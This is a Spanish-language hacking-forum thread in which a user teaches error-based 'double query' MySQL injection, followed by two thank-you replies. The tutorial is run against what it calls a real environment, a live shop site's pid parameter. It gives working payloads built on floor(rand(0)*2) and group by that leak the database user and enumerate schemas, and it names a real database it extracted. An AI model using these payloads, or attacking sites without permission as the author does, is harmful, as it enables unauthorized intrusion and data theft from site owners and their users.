comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mysql injection avanzada: "doble query/error based"

  • 2 Respuestas
  • 2410 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    1.67%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Agosto 02, 2012, 06:42:46 pm »
Hola nuevamente y bienvenidos a todos a un nuevo tutorial sobre inyecciones mysql, solo que en este post vengo a exponer otro tipo de tecnica "MYSQL ERROR BASED", no encontre ninguno en español, y poco se explica de este tipo de inyecciones en papers en ingles, asi que
me dispongo a desmembrar la estructura del ataque con los conociemiento que poseo en el lenguaje mysql.

Antes que nada, es necesario que sepan sobre inyecciones simples usando las clausulas "union+select".

Se utilizara un entorno real para elaborar el tutorial.



Buscando errores del tipo mysql y una vez encontrado el script vulnerable, me dispongo a comenzar la inyeccion.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
/shop.php?pid=1 order by 2-- error!





1 columna!


Entonces comenzamos con la tecnica "union select"

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
/shop.php?pid=1 union select 1--      error!.. :(



Definitavamente no recivimos ningun dato de la columna para poder realizar la inyeccion, mas que un error.

Que hacemos entonces????

En esta situaciones, mas de uno agarrara el havij o  el nmap, y si! obtendra resultados, pero se preguntara como los obtuvo?
de que me estoy perdiendo? como era la inyeccion en si?

Basicamente la inyeccion es esta.
Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
1 and (select 1 from (select count(*),concat((select (select concat(user())) from information_schema.tables limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--

complicadita de entender a simple vista??

Con esta sentencia obtenemos el usuario que corre en la base de datos.




Pero que paso, como dije anteriormente, a esta tecina se le llama "doble query/error based" por lo tanto engañamos a la base de datos, con una doble consulta, para que en el error 1062 (Duplicate entry) nos revele el resultado de la inyeccion. Algo similar pasa en las inyecciones myssql.

Pero vallamos mas en profundidad.

Hay un par de funciones que llaman la atencion y son rand() y floor()

Para que sirven?

rand(): Nos devuelve un valor aleatorio en punto flotante en el rango 0 a 1.0. por ejemplo.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
mysql> select rand(20);
+-------------------+
| rand(20)          |
+-------------------+
| 0.158882612510475 |
+-------------------+
1 row in set (0.00 sec)

mysql>

floor(): retorna el valor entero mas grande pero no mayor a la variable que se le pase.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
mysql> select floor(5.65);
+-------------+
| floor(5.65) |
+-------------+
|           5 |
+-------------+
1 row in set (0.00 sec)

mysql>

Lo que mas me costo entender no fue como funcionaban ambas funciones floor(rand(0)*2) si no que fue para que se incluian dentro de la
sentencia.

Podemos ver que el resultado de combinar ambas es igual a 0.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
mysql> select floor(rand(0)*2);
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

mysql>

El funcionamiento seria de la siguiente manera, rand() genera un valor aleatorio a partir de 0.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

mysql>

ese valor se multiplica 2 (*2)

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
mysql> select (rand(0)*2);
+-------------------+
| (rand(0)*2)       |
+-------------------+
| 0.310440855389871 |
+-------------------+
1 row in set (0.00 sec)

mysql>

Por ultimo floor() nos da el valor entero mas grande pero no mayor.

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
mysql> select floor(0.310440855389871);
+--------------------------+
| floor(0.310440855389871) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

mysql>

El fucking 0!

Ahora como influye este 0 con el resultado de la inyeccion? influye generando el error en la consulta.

Si comenzamos a realizar inyecciones vemos que solo una parte varia, y es el primer query, donde realizaremos nuestras consultas a la base de datos

1 and (select 1 from (select count(*),concat((select (INJECTION),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


=============================
Enumeracion de db's
=============================

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


Database: information_schema

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
1 and (select 1 from (select count(*),concat((select (select concat(schema_name)) from information_schema.schemata limit 1,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--



Database: appcraft7_appcra



Vamos variando el resultado utilizando la funcion limit.

Asi podemos ir enumerando las tablas dentro de appcraft7_appcra, obteniendo informacion de columnas y campos dentro de las tablas, etc.

Espero que les haya sido de utilidad! un saludo comunidad!





« Última modificación: Noviembre 23, 2014, 01:07:03 pm por Expermicid »
Web: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Twitter: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #1 en: Agosto 02, 2012, 10:07:18 pm »
Muy buen aporte! Gracias!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado andrewtwo

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 30, 2012, 04:26:01 am »
claro muchas veces me pregunte como el havij pasaba los injection y recuperaba datos, muy buen dato

 

¿Te gustó el post? COMPARTILO!



Exploit Full path disclosure and Sql Error ONLINE SHOP IGT

Iniciado por MaztoR

Respuestas: 0
Vistas: 1456
Último mensaje Abril 05, 2012, 09:20:06 pm
por MaztoR
XSS a travez de ERROR

Iniciado por q3rv0

Respuestas: 1
Vistas: 2146
Último mensaje Agosto 26, 2012, 06:11:11 pm
por hdbreaker
vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

Iniciado por morodog

Respuestas: 1
Vistas: 1803
Último mensaje Junio 09, 2013, 12:05:31 pm
por ANTRAX
Sqlsus 0.2 Liberado - Inyección de MySQL y Adquisición de herramientas.

Iniciado por dracko.rx

Respuestas: 0
Vistas: 1761
Último mensaje Febrero 24, 2010, 03:08:27 pm
por dracko.rx
Grave Vulnerabilidad en MySQL/MariaDB (Autenticación sin Password)

Iniciado por CalebBucker

Respuestas: 1
Vistas: 2470
Último mensaje Junio 12, 2012, 04:20:50 pm
por ANTRAX